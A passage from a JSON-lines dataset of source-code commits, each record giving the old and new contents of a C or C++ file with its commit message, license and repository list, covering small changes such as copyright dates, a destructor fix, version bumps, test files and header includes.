\\\"\\\"\n","lang":"C","license":"lgpl-2.1","repos":"atgreen\/uClibc-moxie,hwoarang\/uClibc,brgl\/uclibc-ng,brgl\/uclibc-ng,kraj\/uClibc,majek\/uclibc-vx32,majek\/uclibc-vx32,gittup\/uClibc,ysat0\/uClibc,wbx-github\/uclibc-ng,klee\/klee-uclibc,ndmsystems\/uClibc,skristiansson\/uClibc-or1k,hwoarang\/uClibc,klee\/klee-uclibc,hwoarang\/uClibc,atgreen\/uClibc-moxie,hjl-tools\/uClibc,m-labs\/uclibc-lm32,ndmsystems\/uClibc,ChickenRunjyd\/klee-uclibc,ddcc\/klee-uclibc-0.9.33.2,waweber\/uclibc-clang,ffainelli\/uClibc,groundwater\/uClibc,groundwater\/uClibc,groundwater\/uClibc,ysat0\/uClibc,czankel\/xtensa-uclibc,OpenInkpot-archive\/iplinux-uclibc,waweber\/uclibc-clang,gittup\/uClibc,wbx-github\/uclibc-ng,groundwater\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,hjl-tools\/uClibc,ffainelli\/uClibc,OpenInkpot-archive\/iplinux-uclibc,foss-xtensa\/uClibc,kraj\/uClibc,atgreen\/uClibc-moxie,mephi42\/uClibc,majek\/uclibc-vx32,ysat0\/uClibc,brgl\/uclibc-ng,ChickenRunjyd\/klee-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,klee\/klee-uclibc,kraj\/uclibc-ng,kraj\/uclibc-ng,kraj\/uclibc-ng,wbx-github\/uclibc-ng,ffainelli\/uClibc,ddcc\/klee-uclibc-0.9.33.2,brgl\/uclibc-ng,ffainelli\/uClibc,klee\/klee-uclibc,foss-xtensa\/uClibc,ysat0\/uClibc,kraj\/uclibc-ng,hjl-tools\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,waweber\/uclibc-clang,foss-xtensa\/uClibc,ChickenRunjyd\/klee-uclibc,ndmsystems\/uClibc,czankel\/xtensa-uclibc,OpenInkpot-archive\/iplinux-uclibc,atgreen\/uClibc-moxie,OpenInkpot-archive\/iplinux-uclibc,mephi42\/uClibc,ChickenRunjyd\/klee-uclibc,kraj\/uClibc,m-labs\/uclibc-lm32,czankel\/xtensa-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,hwoarang\/uClibc,m-labs\/uclibc-lm32,hjl-tools\/uClibc,wbx-github\/uclibc-ng,kraj\/uClibc,skristiansson\/uClibc-or1k,groundwater\/uClibc,mephi42\/uClibc,skristiansson\/uClibc-or1k,czankel\/xtensa-uclibc,gittup\/uClibc,mephi42\/uClibc,gittup\/uClibc,ndmsystems\/uClibc,ffainelli\/uClibc,m-labs\/uclibc-lm32,hjl-tools\/uClibc,ddcc\/klee-uclibc-0.9.33.2,ddcc\/klee-uclibc-0.9.33.2,majek\/uclibc-vx32,waweber\/uclibc-clang,skristiansson\/uClibc-or1k,foss-xtensa\/uClibc"}
{"commit":"5eed19c98a7ea45568360d20b9b4f676a2cc5f15","old_file":"src\/lib\/serviceRoutines\/putIndividualContextEntityAttribute.h","new_file":"src\/lib\/serviceRoutines\/putIndividualContextEntityAttribute.h","old_contents":"#ifndef PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n#define PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n\n\/*\n*\n* Copyright 2013 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* fermin at tid dot es\n*\n* Author: TID Developer\n*\/\n#include <string>\n#include <vector>\n\n#include \"rest\/ConnectionInfo.h\"\n#include \"ngsi\/ParseData.h\"\n\n\n\n\/* ****************************************************************************\n*\n* putIndividualContextEntityAttribute -\n*\/\nextern std::string putIndividualContextEntityAttribute(ConnectionInfo* ciP, int components, std::vector<std::string> compV, ParseData* parseDataP);\n\n#endif\n","new_contents":"#ifndef PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n#define PUT_INDIVIDUAL_CONTEXT_ENTITY_ATTRIBUTE_H\n\n\/*\n*\n* Copyright 2014 Telefonica Investigacion y Desarrollo, S.A.U\n*\n* This file is part of Orion Context Broker.\n*\n* Orion Context Broker is free software: you can redistribute it and\/or\n* modify it under the terms of the GNU Affero General Public License as\n* published by the Free Software Foundation, either version 3 of the\n* License, or (at your option) any later version.\n*\n* Orion Context Broker is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero\n* General Public License for more details.\n*\n* You should have received a copy of the GNU Affero General Public License\n* along with Orion Context Broker. If not, see http:\/\/www.gnu.org\/licenses\/.\n*\n* For those usages not covered by this license please contact with\n* fermin at tid dot es\n*\n* Author: TID Developer\n*\/\n#include <string>\n#include <vector>\n\n#include \"rest\/ConnectionInfo.h\"\n#include \"ngsi\/ParseData.h\"\n\n\n\n\/* ****************************************************************************\n*\n* putIndividualContextEntityAttribute -\n*\/\nextern std::string putIndividualContextEntityAttribute(ConnectionInfo* ciP, int components, std::vector<std::string> compV, ParseData* parseDataP);\n\n#endif\n","subject":"Change date of copyright notice","message":"Change date of copyright notice","lang":"C","license":"agpl-3.0","repos":"jmcanterafonseca\/fiware-orion,fiwareulpgcmirror\/fiware-orion,McMutton\/fiware-orion,McMutton\/fiware-orion,McMutton\/fiware-orion,telefonicaid\/fiware-orion,telefonicaid\/fiware-orion,jmcanterafonseca\/fiware-orion,yalp\/fiware-orion,yalp\/fiware-orion,pacificIT\/fiware-orion,guerrerocarlos\/fiware-orion,fortizc\/fiware-orion,yalp\/fiware-orion,telefonicaid\/fiware-orion,Fiware\/data.Orion,pacificIT\/fiware-orion,gavioto\/fiware-orion,McMutton\/fiware-orion,Fiware\/context.Orion,fortizc\/fiware-orion,guerrerocarlos\/fiware-orion,jmcanterafonseca\/fiware-orion,McMutton\/fiware-orion,guerrerocarlos\/fiware-orion,yalp\/fiware-orion,j1fig\/fiware-orion,fiwareulpgcmirror\/fiware-orion,pacificIT\/fiware-orion,Fiware\/context.Orion,j1fig\/fiware-orion,pacificIT\/fiware-orion,Fiware\/context.Orion,gavioto\/fiware-orion,Fiware\/data.Orion,fiwareulpgcmirror\/fiware-orion,fiwareulpgcmirror\/fiware-orion,McMutton\/fiware-orion,jmcanterafonseca\/fiware-orion,j1fig\/fiware-orion,fiwareulpgcmirror\/fiware-orion,Fiware\/data.Orion,telefonicaid\/fiware-orion,Fiware\/context.Orion,pacificIT\/fiware-orion,j1fig\/fiware-orion,McMutton\/fiware-orion,telefonicaid\/fiware-orion,Fiware\/data.Orion,Fiware\/context.Orion,fiwareulpgcmirror\/fiware-orion,yalp\/fiware-orion,gavioto\/fiware-orion,fortizc\/fiware-orion,guerrerocarlos\/fiware-orion,fortizc\/fiware-orion,jmcanterafonseca\/fiware-orion,j1fig\/fiware-orion,telefonicaid\/fiware-orion,fortizc\/fiware-orion,guerrerocarlos\/fiware-orion,gavioto\/fiware-orion,gavioto\/fiware-orion,jmcanterafonseca\/fiware-orion,Fiware\/data.Orion,Fiware\/data.Orion,Fiware\/context.Orion,fortizc\/fiware-orion"}
{"commit":"240a18f3955c0c2749c867b32c231b19672d83e0","old_file":"src\/problem.h","new_file":"src\/problem.h","old_contents":"#ifndef PROBLEM_H\n#define PROBLEM_H\n\n#include \"sense.h\"\n\nclass Problem {\n  public:\n    int objcnt; \/\/ Number of objectives\n    double* rhs;\n    int** objind; \/\/ Objective indices\n    double** objcoef; \/\/ Objective coefficients\n    Sense objsen; \/\/ Objective sense. Note that all objectives must have the same\n                \/\/ sense (i.e., either all objectives are to be minimised, or\n                \/\/ all objectives are to be maximised).\n    int* conind;\n    char* consense;\n\n    ~Problem();\n\n};\n\n\ninline Problem::~Problem() {\n  for(int j = 0; j < objcnt; ++j) {\n    delete[] objind[j];\n    delete[] objcoef[j];\n  }\n  delete[] objind;\n  delete[] objcoef;\n  delete[] rhs;\n  delete[] conind;\n  delete[] consense;\n}\n#endif \/* PROBLEM_H *\/\n","new_contents":"#ifndef PROBLEM_H\n#define PROBLEM_H\n\n#include \"sense.h\"\n\nclass Problem {\n  public:\n    int objcnt; \/\/ Number of objectives\n    double* rhs;\n    int** objind; \/\/ Objective indices\n    double** objcoef; \/\/ Objective coefficients\n    Sense objsen; \/\/ Objective sense. Note that all objectives must have the same\n                \/\/ sense (i.e., either all objectives are to be minimised, or\n                \/\/ all objectives are to be maximised).\n    int* conind;\n    char* consense;\n\n    Problem();\n    ~Problem();\n\n};\n\ninline Problem::Problem() : objcnt(0) { }\n\ninline Problem::~Problem() {\n  \/\/ If objcnt == 0, then no problem has been assigned and no memory allocated\n  if (objcnt == 0)\n    return;\n  for(int j = 0; j < objcnt; ++j) {\n    delete[] objind[j];\n    delete[] objcoef[j];\n  }\n  delete[] objind;\n  delete[] objcoef;\n  delete[] rhs;\n  delete[] conind;\n  delete[] consense;\n}\n#endif \/* PROBLEM_H *\/\n","subject":"Fix invalid delete[] calls in ~Problem","message":"Fix invalid delete[] calls in ~Problem\n\nIf objcnt is 0, then no memory has been allocated.\n","lang":"C","license":"bsd-2-clause","repos":"WPettersson\/moip_aira,WPettersson\/moip_aira,WPettersson\/moip_aira,WPettersson\/moip_aira"}
{"commit":"759e89dfa1972fdcf84cd0e5eb5dbbd125381cd3","old_file":"src\/version.h","new_file":"src\/version.h","old_contents":"#ifndef _version_h_\n# define _version_h_\n\n# define PROGRAM_NAME \"xyzzy\"\n# define PROGRAM_COPYRIGHT \"Copyright (C) 1996-2005 T.Kamei\"\n\n# define PROGRAM_MAJOR_VERSION 0\n# define PROGRAM_MINOR_VERSION 2\n# define PROGRAM_MAJOR_REVISION 3\n# define PROGRAM_MINOR_REVISION 5\n# define PROGRAM_PATCH_LEVEL 0\n\n# define TITLE_BAR_STRING_SIZE 256\nextern char TitleBarString[];\nextern const char VersionString[];\nextern const char DisplayVersionString[];\nextern const char ProgramName[];\nextern const char ProgramNameWithVersion[];\n\n#endif\n","new_contents":"#ifndef _version_h_\n# define _version_h_\n\n# define PROGRAM_NAME \"xyzzy\"\n# define PROGRAM_COPYRIGHT \"Copyright (C) 1996-2005 T.Kamei\"\n\n# define PROGRAM_MAJOR_VERSION 0\n# define PROGRAM_MINOR_VERSION 2\n# define PROGRAM_MAJOR_REVISION 3\n# define PROGRAM_MINOR_REVISION 5\n# define PROGRAM_PATCH_LEVEL 1\n\n# define TITLE_BAR_STRING_SIZE 256\nextern char TitleBarString[];\nextern const char VersionString[];\nextern const char DisplayVersionString[];\nextern const char ProgramName[];\nextern const char ProgramNameWithVersion[];\n\n#endif\n","subject":"Update patch level for update test.","message":"Update patch level for update test.\n","lang":"C","license":"mit","repos":"NobuoK\/xyzzy,NobuoK\/xyzzy,NobuoK\/xyzzy,NobuoK\/xyzzy,NobuoK\/xyzzy"}
{"commit":"c676cae40dc7b43a6159ffed0ff08cf5675a84d6","old_file":"testmud\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/system\/oreglist.c","new_file":"testmud\/mud\/home\/Text\/sys\/verb\/ooc\/wiz\/system\/oreglist.c","old_contents":"","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2013  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths.h>\n\n#include <account\/paths.h>\n#include <text\/paths.h>\n#include <game\/paths.h>\n\ninherit LIB_RAWVERB;\n\nvoid main(object actor, string args)\n{\n\tstring owner;\n\tmapping seen;\n\tobject first;\n\tobject obj;\n\n\tif (query_user()->query_class() < 2) {\n\t\tsend_out(\"Only a wizard can list objregd.\\n\");\n\t\treturn;\n\t}\n\n\tseen = ([ ]);\n\tfirst = KERNELD->first_link(args);\n\n\tif (!first) {\n\t\tsend_out(args + \" owns no objects.\\n\");\n\t\treturn;\n\t}\n\n\tobj = first;\n\n\tsend_out(\"Objects owned by \" + args + \":\\n\");\n\n\tdo {\n\t\tsend_out(object_name(obj) + \"\\n\");\n\n\t\tseen[obj] = 1;\n\t\tobj = KERNELD->next_link(obj);\n\n\t\tif (!obj) {\n\t\t\tsend_out(\"nil\\n\");\n\t\t\tbreak;\n\t\t}\n\t} while (!seen[obj]);\n}\n","subject":"Add command to list all objects owned by a given user","message":"Add command to list all objects owned by a given user\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"45731725e296f521e4ae2867742e7ea33a6a2ef6","old_file":"libpkg\/pkg_error.h","new_file":"libpkg\/pkg_error.h","old_contents":"#ifndef _PKG_ERROR_H\n#define _PKG_ERROR_H\n\n#ifdef DEBUG\n#\tdefine pkg_error_set(code, fmt, ...) \\\n\t\t_pkg_error_set(code, fmt \" [at %s:%d]\", ##__VA_ARGS__, __FILE__, __LINE__)\n#else\n#\tdefine pkg_error_set _pkg_error_set\n#endif\n\n#define ERROR_BAD_ARG(name) \\\n\tpkg_error_set(EPKG_FATAL, \"Bad argument `%s` in %s\", name, __FUNCTION__)\n\n#define ERROR_SQLITE(db) \\\n\tpkg_error_set(EPKG_FATAL, \"%s (sqlite at %s:%d)\", sqlite3_errmsg(db), __FILE__, __LINE__)\n\npkg_error_t _pkg_error_set(pkg_error_t, const char *, ...);\n\n#endif\n","new_contents":"#ifndef _PKG_ERROR_H\n#define _PKG_ERROR_H\n\n#ifdef DEBUG\n#\tdefine pkg_error_set(code, fmt, ...) \\\n\t\t_pkg_error_set(code, fmt \" [at %s:%d]\", ##__VA_ARGS__, __FILE__, __LINE__)\n#else\n#\tdefine pkg_error_set _pkg_error_set\n#endif\n\n#define ERROR_BAD_ARG(name) \\\n\tpkg_error_set(EPKG_FATAL, \"Bad argument `%s` in %s\", name, __FUNCTION__)\n\n#define ERROR_SQLITE(db) \\\n\tpkg_error_set(EPKG_FATAL, \"%s (sqlite)\", sqlite3_errmsg(db))\n\npkg_error_t _pkg_error_set(pkg_error_t, const char *, ...);\n\n#endif\n","subject":"Revert \"Indicate the location of sqlite failures.\"","message":"Revert \"Indicate the location of sqlite failures.\"\n\nThis reverts commit 2686383409d98488ae7b2c39d531af9ef380e21a.\n","lang":"C","license":"bsd-2-clause","repos":"khorben\/pkg,junovitch\/pkg,skoef\/pkg,skoef\/pkg,junovitch\/pkg,en90\/pkg,khorben\/pkg,Open343\/pkg,en90\/pkg,khorben\/pkg,Open343\/pkg"}
{"commit":"da1c4e94c3cfa8b74ba81c83b91885dc50c857bd","old_file":"test\/Sema\/arm64-neon-args.c","new_file":"test\/Sema\/arm64-neon-args.c","old_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-darwin -target-feature +neon -fsyntax-only -ffreestanding -verify %s\n\n#include <arm_neon.h>\n\n\/\/ rdar:\/\/13527900\nvoid vcopy_reject(float32x4_t vOut0, float32x4_t vAlpha, int t) {\n  vcopyq_laneq_f32(vOut0, 1, vAlpha, t); \/\/ expected-error {{argument to '__builtin_neon_vgetq_lane_f32' must be a constant integer}} expected-error {{initializing 'float32_t' (aka 'float') with an expression of incompatible type 'void'}}\n}\n\n\/\/ rdar:\/\/problem\/15256199\nfloat32x4_t test_vmlsq_lane(float32x4_t accum, float32x4_t lhs, float32x2_t rhs) {\n  return vmlsq_lane_f32(accum, lhs, rhs, 1);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-darwin -target-feature +neon -fsyntax-only -ffreestanding -verify %s\n\/\/ RUN: %clang_cc1 -triple arm64_be-none-linux-gnu -target-feature +neon -fsyntax-only -ffreestanding -verify %s\n\n#include <arm_neon.h>\n\n\/\/ rdar:\/\/13527900\nvoid vcopy_reject(float32x4_t vOut0, float32x4_t vAlpha, int t) {\n  vcopyq_laneq_f32(vOut0, 1, vAlpha, t); \/\/ expected-error {{argument to '__builtin_neon_vgetq_lane_f32' must be a constant integer}} expected-error {{initializing 'float32_t' (aka 'float') with an expression of incompatible type 'void'}}\n}\n\n\/\/ rdar:\/\/problem\/15256199\nfloat32x4_t test_vmlsq_lane(float32x4_t accum, float32x4_t lhs, float32x2_t rhs) {\n  return vmlsq_lane_f32(accum, lhs, rhs, 1);\n}\n","subject":"Add a test for big-endian NEON on ARM64.","message":"Add a test for big-endian NEON on ARM64.\n\nThe enabled test #includes <arm_neon.h>, which is sufficient to test all\nthe code in r207624.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@207641 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"2b8300582a7e62df81ab5a32efee5c0053d61161","old_file":"fw\/libs\/AdapterBoard\/usb_commands.h","new_file":"fw\/libs\/AdapterBoard\/usb_commands.h","old_contents":"#ifndef USB_COMMANDS_H\n#define USB_COMMANDS_H\n\n#define CMD_ACK          0xAF\n#define CMD_RESP         0xBF\n\n#define CMD_BL_ON        0x10\n#define CMD_BL_OFF       0x11\n#define CMD_BL_LEVEL     0x12\n#define CMD_BL_UP        0x13\n#define CMD_BL_DOWN      0x14\n#define CMD_BL_GET_STATE 0x1F\n\n#define CMD_RGB_SET      0x20\n#define CMD_RGB_GET      0x2F\n\n#endif\n","new_contents":"\/* USB commands use the first byte as the 'type' variable.\n * Subsequent bytes are generally the 'arguments'.\n * So host->device usb packets usually look like:\n * [command, arg1, arg2, 0, 0, ... , 0, 0]\n * to which the device will respond with\n * [CMD_ACK, command, 0, 0, 0 ..., 0, 0]\n *\n * The exception to this, are the commands which 'GET'\n * For them host->device generally looks like:\n * [command, 0, ..., 0, 0]\n * to which the device responds\n * [CMD_RESP, command, arg1, arg2, 0, ..., 0, 0]\n * *\/\n\n#ifndef USB_COMMANDS_H\n#define USB_COMMANDS_H\n\n#define CMD_ACK          0xAF\n#define CMD_RESP         0xBF\n\n#define CMD_BL_ON        0x10\n#define CMD_BL_OFF       0x11\n#define CMD_BL_LEVEL     0x12\n#define CMD_BL_UP        0x13\n#define CMD_BL_DOWN      0x14\n#define CMD_BL_GET_STATE 0x1F\n\n#define CMD_RGB_SET      0x20\n#define CMD_RGB_GET      0x2F\n\n#endif\n","subject":"Document the usb protocol (ish)","message":"Document the usb protocol (ish)\n","lang":"C","license":"bsd-3-clause","repos":"OSCARAdapter\/OSCAR,OSCARAdapter\/OSCAR"}
{"commit":"749fc33213dda5fdee346dfbe6cc4845c2bdbff2","old_file":"reflex\/test\/testDict2\/ClassN.h","new_file":"reflex\/test\/testDict2\/ClassN.h","old_contents":"","new_contents":"#ifndef DICT2_CLASSN_H\n#define DICT2_CLASSN_H\n\n#include \"ClassI.h\"\n#include \"ClassL.h\"\n\nclass ClassN: \/* public ClassI, *\/ public ClassL {\n public:\n  ClassN() : fN('n') {}\n  virtual ~ClassN() {}\n  int n() { return fN; }\n  void setN(int v) { fN = v; }\n private:\n  int fN;\n};\n\n\n#endif \/\/ DICT2_CLASSN_H\n","subject":"Test class to check for ambiguities in the dictionary source code in case of non virtual diamonds","message":"Test class to check for ambiguities in the dictionary source code in case of\nnon virtual diamonds\n\n\ngit-svn-id: ecbadac9c76e8cf640a0bca86f6bd796c98521e3@16987 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,bbannier\/ROOT"}
{"commit":"7f4a6b31a7c33625be1f3f3aec199c4c0dcc55f6","old_file":"mach\/i86\/ce\/mach.c","new_file":"mach\/i86\/ce\/mach.c","old_contents":"#define CODE_EXPANDER\n#include <system.h>\n#include \"back.h\"\n#include \"mach.h\"\n\n#ifdef DEBUG\narg_error( s, arg)\nchar *s;\nint arg;\n{\n\tfprint( STDERR, \"arg_error %s %d\\n\", s, arg);\n}\n#endif\n\nint push_waiting = FALSE;\n\nint fit_byte( val)\nint val;\n{\n\treturn( val >= -128 && val <= 127);\n}\n\n#include <con_float>\n","new_contents":"#define CODE_EXPANDER\n#include <system.h>\n#include \"back.h\"\n#include \"mach.h\"\n\n#ifdef DEBUG\narg_error( s, arg)\nchar *s;\nint arg;\n{\n\tfprint( STDERR, \"arg_error %s %d\\n\", s, arg);\n}\n#endif\n\nint push_waiting = FALSE;\n\nint fit_byte( val)\nint val;\n{\n\treturn( val >= -128 && val <= 127);\n}\n\n#define IEEEFLOAT\n#define FL_MSL_AT_LOW_ADDRESS\t0\n#define FL_MSW_AT_LOW_ADDRESS\t0\n#define FL_MSB_AT_LOW_ADDRESS\t0\n#include <con_float>\n","subject":"Use Intel byte order for floating point","message":"Use Intel byte order for floating point\n","lang":"C","license":"bsd-3-clause","repos":"Godzil\/ack,Godzil\/ack,Godzil\/ack,Godzil\/ack,Godzil\/ack"}
{"commit":"2359f8a30abd107f48b2aa0c3fff361da0963ac5","old_file":"lib\/win32\/wrappers\/security_buffer_descriptor.h","new_file":"lib\/win32\/wrappers\/security_buffer_descriptor.h","old_contents":"#ifndef SECURITY_BUFFER_DESCRIPTOR_H\n#define SECURITY_BUFFER_DESCRIPTOR_H\n\n#include <node.h>\n#include <node_object_wrap.h>\n#include <v8.h>\n\n#include <windows.h>\n#include <sspi.h>\n#include \"nan.h\"\n\nusing namespace v8;\nusing namespace node;\n\nclass SecurityBufferDescriptor : public ObjectWrap {  \n  public:    \n    Local<Array> arrayObject;\n    SecBufferDesc secBufferDesc;\n    \n    SecurityBufferDescriptor();\n    SecurityBufferDescriptor(const Persistent<Array>& arrayObjectPersistent);\n    ~SecurityBufferDescriptor();    \n\n    \/\/ Has instance check\n    static inline bool HasInstance(Handle<Value> val) {\n      if (!val->IsObject()) return false;\n      Local<Object> obj = val->ToObject();\n      return NanNew(constructor_template)->HasInstance(obj);\n    };\n\n    char *toBuffer();\n    size_t bufferSize();\n\n    \/\/ Functions available from V8\n    static void Initialize(Handle<Object> target);    \n    static NAN_METHOD(ToBuffer);\n\n    \/\/ Constructor used for creating new Long objects from C++\n    static Persistent<FunctionTemplate> constructor_template;\n    \n  private:\n    static NAN_METHOD(New);\n};\n\n#endif","new_contents":"#ifndef SECURITY_BUFFER_DESCRIPTOR_H\n#define SECURITY_BUFFER_DESCRIPTOR_H\n\n#include <node.h>\n#include <node_object_wrap.h>\n#include <v8.h>\n\n#include <WinSock2.h>\n#include <windows.h>\n#include <sspi.h>\n#include \"nan.h\"\n\nusing namespace v8;\nusing namespace node;\n\nclass SecurityBufferDescriptor : public ObjectWrap {  \n  public:    \n    Local<Array> arrayObject;\n    SecBufferDesc secBufferDesc;\n    \n    SecurityBufferDescriptor();\n    SecurityBufferDescriptor(const Persistent<Array>& arrayObjectPersistent);\n    ~SecurityBufferDescriptor();    \n\n    \/\/ Has instance check\n    static inline bool HasInstance(Handle<Value> val) {\n      if (!val->IsObject()) return false;\n      Local<Object> obj = val->ToObject();\n      return NanNew(constructor_template)->HasInstance(obj);\n    };\n\n    char *toBuffer();\n    size_t bufferSize();\n\n    \/\/ Functions available from V8\n    static void Initialize(Handle<Object> target);    \n    static NAN_METHOD(ToBuffer);\n\n    \/\/ Constructor used for creating new Long objects from C++\n    static Persistent<FunctionTemplate> constructor_template;\n    \n  private:\n    static NAN_METHOD(New);\n};\n\n#endif","subject":"Fix windows build issue for node v0.12","message":"Fix windows build issue for node v0.12\n","lang":"C","license":"apache-2.0","repos":"dmansfield\/kerberos,dmansfield\/kerberos,artakvg\/kerberos,bazineta\/kerberos,artakvg\/kerberos,bazineta\/kerberos,artakvg\/kerberos,christkv\/kerberos,christkv\/kerberos,artakvg\/kerberos,christkv\/kerberos,bazineta\/kerberos,bazineta\/kerberos,christkv\/kerberos,dmansfield\/kerberos,dmansfield\/kerberos"}
{"commit":"2cce788361f527358010a60e5e78b731ea21ac3e","old_file":"Programs\/scr_hurd.h","new_file":"Programs\/scr_hurd.h","old_contents":"\/*\n * BRLTTY - A background process providing access to the console screen (when in\n *          text mode) for a blind person using a refreshable braille display.\n *\n * Copyright (C) 1995-2005 by The BRLTTY Team. All rights reserved.\n *\n * BRLTTY comes with ABSOLUTELY NO WARRANTY.\n *\n * This is free software, placed under the terms of the\n * GNU General Public License, as published by the Free Software\n * Foundation.  Please see the file COPYING for details.\n *\n * Web Page: http:\/\/mielke.cc\/brltty\/\n *\n * This software is maintained by Dave Mielke <dave@mielke.cc>.\n *\/\n\n#ifndef BRLTTY_INCLUDED_SCR_HURD\n#define BRLTTY_INCLUDED_SCR_HURD\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#define HURD_CONSDIR\t\t\"\/dev\/cons\"\n#define HURD_VCSDIR\t\t\"\/dev\/vcs\"\n#define HURD_INPUTPATH\t\tHURD_VCSDIR \"\/input\"\n#define HURD_DISPLAYPATH\tHURD_VCSDIR \"\/display\"\n#define HURD_CURVCSPATH\t\tHURD_CONSDIR \"\/vcs\"\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* BRLTTY_INCLUDED_SCR_HURD *\/\n","new_contents":"\/*\n * BRLTTY - A background process providing access to the console screen (when in\n *          text mode) for a blind person using a refreshable braille display.\n *\n * Copyright (C) 1995-2005 by The BRLTTY Team. All rights reserved.\n *\n * BRLTTY comes with ABSOLUTELY NO WARRANTY.\n *\n * This is free software, placed under the terms of the\n * GNU General Public License, as published by the Free Software\n * Foundation.  Please see the file COPYING for details.\n *\n * Web Page: http:\/\/mielke.cc\/brltty\/\n *\n * This software is maintained by Dave Mielke <dave@mielke.cc>.\n *\/\n\n#ifndef BRLTTY_INCLUDED_SCR_HURD\n#define BRLTTY_INCLUDED_SCR_HURD\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#define HURD_CONSDIR\t\t\"\/dev\/cons\"\n#define HURD_VCSDIR\t\t\"\/dev\/vcs\"\n#define HURD_INPUTPATH\t\tHURD_VCSDIR \"\/%u\/input\"\n#define HURD_DISPLAYPATH\tHURD_VCSDIR \"\/%u\/display\"\n#define HURD_CURVCSPATH\t\tHURD_CONSDIR \"\/vcs\"\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n\n#endif \/* BRLTTY_INCLUDED_SCR_HURD *\/\n","subject":"Support access to individual Hurd consoles. (st)","message":"Support access to individual Hurd consoles. (st)\n\n\ngit-svn-id: 30a5f035a20f1bc647618dbad7eea2a951b61b7c@1435 91a5dbb7-01b9-0310-9b5f-b28072856b6e\n","lang":"C","license":"lgpl-2.1","repos":"brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty,brltty\/brltty"}
{"commit":"d369eecbd4599661c420631d60fc357590bfb04a","old_file":"mordor\/streams\/timeout.h","new_file":"mordor\/streams\/timeout.h","old_contents":"#ifndef __MORDOR_TIMEOUT_STREAM__\n#define __MORDOR_TIMEOUT_STREAM__\n\/\/ Copyright (c) 2010 - Mozy, Inc.\n\n#include \"filter.h\"\n#include \"scheduler.h\"\n\nnamespace Mordor {\n\nclass TimerManager;\nclass Timer;\n\nclass TimeoutStream : public FilterStream\n{\npublic:\n    typedef boost::shared_ptr<TimeoutStream> ptr;\n\npublic:\n    TimeoutStream(Stream::ptr parent, TimerManager &timerManager, bool own = true)\n        : FilterStream(parent),\n          m_timerManager(timerManager),\n          m_readTimeout(~0ull),\n          m_writeTimeout(~0ull)\n    {}\n\n    unsigned long long readTimeout() const { return m_readTimeout; }\n    void readTimeout(unsigned long long readTimeout);\n    unsigned long long writeTimeout() const { return m_writeTimeout; }\n    void writeTimeout(unsigned long long writeTimeout);\n\n    size_t read(Buffer &buffer, size_t length);\n    size_t write(const Buffer &buffer, size_t length);\n\nprivate:\n    TimerManager &m_timerManager;\n    unsigned long long m_readTimeout, m_writeTimeout;\n    bool m_readTimedOut, m_writeTimedOut;\n    boost::shared_ptr<Timer> m_readTimer, m_writeTimer;\n    FiberMutex m_mutex;\n};\n\n}\n\n#endif\n","new_contents":"#ifndef __MORDOR_TIMEOUT_STREAM__\n#define __MORDOR_TIMEOUT_STREAM__\n\/\/ Copyright (c) 2010 - Mozy, Inc.\n\n#include \"filter.h\"\n#include 